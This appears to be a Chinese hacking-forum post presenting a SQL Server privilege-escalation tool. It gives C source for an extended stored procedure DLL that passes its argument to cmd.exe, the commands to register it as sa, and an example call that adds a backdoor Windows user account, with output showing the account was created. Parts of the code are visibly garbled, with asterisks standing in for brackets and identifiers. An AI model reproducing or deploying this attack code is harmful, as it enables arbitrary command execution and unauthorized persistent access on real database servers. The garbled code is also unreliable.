2026年10月31日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
11406
Lv1韶华一笑间等级图标
帖子
62
回复
120
积分
2,076
注册
2011-02-07
[计算机网络]

*hello.dll(sa) 提权工具

[复制链接]
查看 714 回复 0
楼主 发表于 | 只看该作者
53 人收藏

主要代码:

在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:

#include <stdafx.h>

#include <shellapi.h>

#define *NOERROR 0

#define *ERROR 1

#define MAXCOLNAME 25

#define MAXNAME 25

#define MAXTEXT 255

#ifdef __cplusplus

extern “C” {

#endif

RETCODE __declspec(dllexport) *hello(SRV_PROC *srvproc);

#ifdef __cplusplus

}

#endif

RETCODE __declspec(dllexport) *hello(SRV_PROC *srvproc)

{

/***************************** 说明 *************************

由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,

无赖之下,只好用老式的srv_paramdata

*************************************************************/

int bufLen;

DBCHAR spName*MAXNAME*;

DBCHAR spText*MAXTEXT*;

DBCHAR spBuf*MAXTEXT*;

unsigned char cmdline*255* = “”;

if(srv_rpcparams(srvproc) != 1) return *ERROR; //参数判断,如果参数不是1个就立即退出

bufLen = srv_paramlen(srvproc,1);

if(!bufLen) return *ERROR;

wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf*bufLen* = ‘\0′; //获取第一个参数的值

wsprintf(spName, “*hello”);

wsprintf(spText, “%s Run *:*%s*\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);

srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息

wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数

Shell*ute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令

return *NOERROR ;

}

编译生成*hello.dll

以SA连接SQL Server 执行

dbcc addextendedproc(‘*hello’,‘c:\*hello.dll’);

提示成功过后,调用

* *hello ‘net user fuck fuck /add’;

这样系统里面就多了个fuck账户

C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user

\\PC-200910151119 的用户帐户

—————————————————————————–

Administrator ASPNET fuck

Guest HelpAssistant IUSR_PC-200910151119

IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0

VUSR_PC-200910151119

命令成功完成。

登录回复

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块